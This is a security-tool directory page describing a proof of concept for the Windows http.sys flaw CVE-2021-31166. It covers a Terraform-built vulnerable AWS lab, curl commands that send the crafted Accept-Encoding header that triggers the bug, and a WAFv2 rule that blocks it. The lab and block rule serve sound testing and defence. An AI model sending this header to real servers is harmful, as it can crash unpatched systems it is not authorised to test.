Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/bgsilvait/win-cve-2021-31166
Vulnerability AnalysisExploitationIDS/IPS EvasionWeb SecurityCloud SecurityDevSecOps
GitHubbgsilvait/win-cve-2021-31166

WIn-CVE-2021-31166

Proof-of-concept for CVE-2021-31166 (http.sys RCE) with Terraform deployment on AWS, including testing scripts and a WAFv2 rule to block the exploit.

View Repository
25 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WIn-CVE-2021-31166

This Repo is inspired on 0vercl0k for a proof of concept for CVE-2021-31166 ("HTTP Protocol Stack Remote Code Execution Vulnerability"), a use-after-free dereference in http.sys patched by Microsoft in May 2021.

Build Infraestructure

root@kitploit:~
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve

The terraform will create an EC2 Instance with Windows Server Core 20H2, install IIS and add SSM permissions to open a Web Powershell Session from AWS Console. It will also create a Application Load Balancer and use the instance as target. By default the will add only as allow to access on .

Security Group
YOUR IP
HTTP

Get values

root@kitploit:~
#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')

Testing Connectivity

root@kitploit:~
#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done

#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done

Inject CVE Header

root@kitploit:~
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"

#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"

Rule for AWS WAFv2 to Block

root@kitploit:~
{
  "Name": "cve-block",
  "Priority": 0,
  "Statement": {
    "ByteMatchStatement": {
      "SearchString": "doar-e, ftw, imo, ,",
      "FieldToMatch": {
        "SingleHeader": {
          "Name": "accept-encoding"
        }
      },
      "TextTransformations": [
        {
          "Priority": 0,
          "Type": "NONE"
        }
      ],
      "PositionalConstraint": "EXACTLY"
    }
  },
  "Action": {
    "Block": {
      "CustomResponse": {
        "ResponseCode": 418,
        "CustomResponseBodyKey": "418"
      }
    }
  },
  "VisibilityConfig": {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "cve-block"
  }
}
Download Tool